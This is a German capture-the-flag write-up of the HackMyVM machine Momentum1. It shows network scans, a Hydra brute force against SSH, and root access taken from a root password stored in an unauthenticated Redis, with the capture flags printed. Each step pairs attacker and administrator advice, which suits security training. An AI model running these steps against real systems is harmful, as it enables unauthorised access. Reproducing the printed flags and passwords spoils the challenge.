Momentum1 - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
nodejs
vi
hydra
ssh
redis-cli
su
ls
cat

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.112   08:00:27:68:b7:50       PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk mittels ARP-Requests nach aktiven Geräten zu durchsuchen. Es wurde ein Host mit der IP-Adresse 192.168.2.112 und der MAC-Adresse 08:00:27:68:b7:50 (zugeordnet zu PCS Systemtechnik GmbH, oft Oracle VirtualBox) gefunden.

Bewertung: Erfolgreiche Identifizierung des Zielsystems "Momentum1" im lokalen Netzwerk. Dies ist die Grundlage für weitere Scans.

Empfehlung (Pentester): Ziel-IP notieren. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu entdecken.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit für ARP-Scans einschränken. Überwachung von ARP-Aktivitäten.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.112 -p-
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
[...] # Gekürzte Nmap-Ausgabe im Originaltext

Analyse: Ein umfassender Nmap-Scan (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-sV` Versionserkennung, `-T5` Aggressives Timing, `-A` OS-Erkennung etc., `-p-` alle Ports) wird auf das Ziel 192.168.2.112 angewendet. Die (gekürzte) Ausgabe zeigt zwei offene Ports: Port 22 (SSH) mit OpenSSH 7.9p1 und Port 80 (HTTP) mit Apache 2.4.38.

Bewertung: Die primären Angriffsvektoren sind SSH und der Webserver. Die spezifischen Versionen sind für die Suche nach bekannten Schwachstellen (CVEs) relevant, obwohl hier keine offensichtlichen kritischen Lücken direkt ersichtlich sind.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 gründlich (Directory Busting, Analyse der Webanwendung). Versuchen Sie schwache oder Standard-Zugangsdaten für SSH.
Empfehlung (Admin): Halten Sie SSH- und Apache-Dienste aktuell gepatcht. Konfigurieren Sie SSH sicher (z.B. Key-basierte Authentifizierung bevorzugen, Root-Login deaktivieren). Sichern Sie die Webanwendung ab.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.112 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster vX.Y.Z
===============================================================
[+] Url:                     http://192.168.2.112
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
[+] Expanded:                true
[...]
===============================================================
Starting gobuster
===============================================================
http://192.168.2.112/index.html           (Status: 200) [Size: 2001]
http://192.168.2.112/img                  (Status: 301) [Size: 312] [--> http://192.168.2.112/img/]
http://192.168.2.112/css                  (Status: 301) [Size: 312] [--> http://192.168.2.112/css/]
http://192.168.2.112/manual               (Status: 301) [Size: 315] [--> http://192.168.2.112/manual/]
http://192.168.2.112/js                   (Status: 301) [Size: 311] [--> http://192.168.2.112/js/]
===============================================================
Finished
===============================================================

Analyse: Mit `gobuster dir` wird der Webserver auf Port 80 nach Verzeichnissen und Dateien durchsucht. `-w` gibt die Wortliste an, `-e` zeigt die volle URL, `-x` testet verschiedene Dateiendungen. Es werden Standardverzeichnisse wie `/img`, `/css`, `/js` sowie eine `index.html` und ein Verzeichnis `/manual` gefunden.

Bewertung: Der Fund des `/manual`-Verzeichnisses ist potenziell interessant, da es möglicherweise Dokumentationen, Konfigurationshinweise oder sogar Schwachstellen enthalten könnte. Die anderen Funde sind Standard und weniger wahrscheinlich für einen direkten Exploit relevant.

Empfehlung (Pentester): Untersuchen Sie den Inhalt des `/manual`-Verzeichnisses genauer. Analysieren Sie den Quellcode der `index.html` und anderer gefundener Ressourcen auf Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass das `/manual`-Verzeichnis keine sensiblen Informationen enthält. Deaktivieren Sie den Zugriff auf Apache-Manuals oder andere Standard-Dokumentationen auf Produktionssystemen.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nodejs main.js
auxerre-alienum

Analyse: Ein Node.js-Skript namens `main.js` wird ausgeführt (der Ursprung dieses Skripts ist im Log nicht dokumentiert - es könnte lokal sein oder zuvor vom Zielserver heruntergeladen worden sein). Das Skript gibt die Zeichenkette `auxerre-alienum` aus.

Bewertung: Dies ist ein sehr wichtiger Fund. Die Ausgabe `auxerre-alienum` sieht stark nach einem kombinierten Benutzernamen und Passwort (oder einem Teil davon) aus, möglicherweise `auxerre` als Benutzer und `alienum` oder `auxerre-alienum` als Passwort. Dies muss im Kontext des SSH-Dienstes überprüft werden.

Empfehlung (Pentester): Versuchen Sie, die Zeichenkette als potenzielle Zugangsdaten für den SSH-Dienst zu verwenden. Erstellen Sie eine kleine Wortliste mit Variationen (`auxerre`, `alienum`, `auxerre-alienum`) und verwenden Sie ein Tool wie Hydra, um einen Brute-Force-Angriff auf den SSH-Dienst mit dem vermuteten Benutzernamen `auxerre` durchzuführen.
Empfehlung (Admin): Stellen Sie sicher, dass Anwendungen und Skripte keine Zugangsdaten oder andere sensible Informationen im Klartext ausgeben oder speichern. Überprüfen Sie, woher dieses Skript stammt und warum es diese Information preisgibt.

Initial Access

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# vi passwort.txt
[Inhalt der erstellten Passwortdatei]
auxerre
auxerre-REMVED <-- Vermutlich Tippfehler, sollte alienum sein?
auxerre-REMVED
auxerre-
auxerre-alienum <-- Korrekte Kombination
-alienum
alienum
alienum
alienum-

Analyse: Basierend auf der Ausgabe des Node.js-Skripts wird eine Passwortdatei (`passwort.txt`) erstellt, die verschiedene Variationen und Kombinationen der Strings "auxerre" und "alienum" enthält. Diese Datei dient als Eingabe für einen Brute-Force-Angriff.

Bewertung: Sinnvolle Vorbereitung für den Hydra-Angriff, um die aus dem Node.js-Skript gewonnenen Informationen zu testen.

Empfehlung (Pentester): Verwenden Sie diese Datei mit Hydra, um den SSH-Login zu testen.
Empfehlung (Admin): Keine direkte Aktion.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# hydra -l auxerre -P passwort.txt ssh://192.168.2.112:22
Hydra vX.Y.Z (c) 20XX by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at XXXX-XX-XX XX:XX:XX
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9 login tries (l:1/p:9), ~1 try per task
[DATA] attacking ssh://192.168.2.112:22/
[ATTEMPT] target 192.168.2.112 - login "auxerre" - pass "auxerre-alienum" - 1 of 9 [child 0]
[22][ssh] host: 192.168.2.112   login: auxerre   password: auxerre-alienum <-- Erfolg!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at XXXX-XX-XX XX:XX:XX

Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den SSH-Dienst auf 192.168.2.112 (Port 22) durchzuführen. `-l auxerre` gibt den zu testenden Benutzernamen an. `-P passwort.txt` gibt die zuvor erstellte Passwortdatei an. Hydra testet die Kombinationen durch.

Bewertung: Erfolgreich! Hydra findet die gültigen Zugangsdaten: Benutzername `auxerre` und Passwort `auxerre-alienum`. Dies bestätigt die Vermutung aus der Node.js-Ausgabe.

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten, um sich per SSH am Zielsystem anzumelden.
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen. Brute-Force-Schutzmechanismen wie `fail2ban` für SSH implementieren. Ursache für das Credential-Leak im Node.js-Skript finden und beheben.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# ssh auxerre@moment.hmv
<-- Annahme: moment.hmv wurde zu /etc/hosts hinzugefügt
auxerre@192.168.2.112's password: [Passworteingabe: auxerre-alienum]
Linux Momentum 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
[...]
Last login: ...
auxerre@Momentum:~$ # Login erfolgreich

Analyse: Es wird eine SSH-Verbindung zum Zielsystem (hier als `moment.hmv` angesprochen, was eine lokale Hosts-Datei-Konfiguration oder DNS-Auflösung voraussetzt) mit dem Benutzernamen `auxerre` und dem von Hydra gefundenen Passwort `auxerre-alienum` aufgebaut.

Bewertung: Initial Access erfolgreich! Eine interaktive Shell als Benutzer `auxerre` wurde erlangt.

Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation und Privilege Escalation Enumeration: `id`, `sudo -l`, `find / -perm -4000 2>/dev/null`, Überprüfung laufender Dienste und Konfigurationen (insbesondere Redis, falls bekannt oder vermutet).
Empfehlung (Admin): Passwortrichtlinien, Brute-Force-Schutz.

Privilege Escalation

auxerre@Momentum:~$ redis-cli
127.0.0.1:6379>
127.0.0.1:6379> KEYS *
1) "rootpass"
127.0.0.1:6379> GET rootpass
"m0mentum-al1enum"

Analyse: Als Benutzer `auxerre` wird das Kommandozeilen-Tool `redis-cli` gestartet, das sich standardmäßig mit einem lokalen Redis-Server auf Port 6379 verbindet. Der Befehl `KEYS *` listet alle Schlüssel in der Datenbank auf, was hier nur den Schlüssel `rootpass` ergibt. Der Befehl `GET rootpass` ruft den Wert ab, der diesem Schlüssel zugeordnet ist: die Zeichenkette `m0mentum-al1enum`.

Bewertung: Kritische Schwachstelle und direkter Weg zur Root-Eskalation! Der Redis-Server läuft lokal, ist ohne Authentifizierung zugänglich und speichert das Root-Passwort im Klartext unter einem leicht erratbaren Schlüsselnamen (`rootpass`).

Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `m0mentum-al1enum`, um mit `su root` zum Root-Benutzer zu wechseln.
Empfehlung (Admin): Sichern Sie die Redis-Instanz dringend ab: 1. Setzen Sie ein starkes Passwort mit `CONFIG SET requirepass `. 2. Binden Sie Redis nur an das benötigte Interface (z.B. `bind 127.0.0.1 ::1`), wenn kein externer Zugriff nötig ist. 3. Verwenden Sie keine unsicheren Befehle wie `KEYS *` in Produktionsumgebungen (kann bei großen Datenbanken blockieren) und erwägen Sie, gefährliche Befehle umzubenennen oder zu deaktivieren (`rename-command`). 4. Speichern Sie niemals sensible Daten wie Root-Passwörter im Klartext in Redis.

auxerre@Momentum:~$ su root
Password:
# [Passworteingabe: m0mentum-al1enum]
root@Momentum:/home/auxerre# # Root-Zugriff erfolgreich!

Analyse: Der Befehl `su root` wird ausgeführt. Auf die Passwortaufforderung wird das aus Redis extrahierte Passwort `m0mentum-al1enum` eingegeben.

Bewertung: Fantastisch! Die Privilege Escalation war erfolgreich. Durch Ausnutzung des unsicheren Redis-Servers wurde das Root-Passwort erlangt und der Wechsel zum Root-Benutzer vollzogen.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Lesen Sie die User- und Root-Flags.
Empfehlung (Admin): Dringend die Redis-Instanz absichern (siehe vorherige Empfehlung). Ändern Sie das Root-Passwort. Überprüfen Sie das System auf weitere Schwachstellen oder Fehlkonfigurationen.

root@Momentum:/home/auxerre# ls
user.txt
root@Momentum:/home/auxerre# cat user.txt
[ Momentum - User Pwned ]
---------------------------------------
flag : 84157165c30ad34d18945b647ec7f647
---------------------------------------
root@Momentum:/home/auxerre# cat /root/root.txt
[ Momentum - Rooted ]
---------------------------------------
Flag : 658ff660fdac0b079ea78238e5996e40
---------------------------------------
by alienum with <3

Analyse: Als Root-Benutzer werden die Dateien `/home/auxerre/user.txt` und `/root/root.txt` gelesen, um die entsprechenden Flags zu extrahieren.

Bewertung: Beide Flags wurden erfolgreich gefunden und gelesen.

Empfehlung (Pentester): Flags dokumentieren. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flags. Fokus auf die Behebung der Sicherheitslücken (Credential Leak, unsicherer Redis-Server).

Flags

cat user.txt
84157165c30ad34d18945b647ec7f647
cat root.txt
658ff660fdac0b079ea78238e5996e40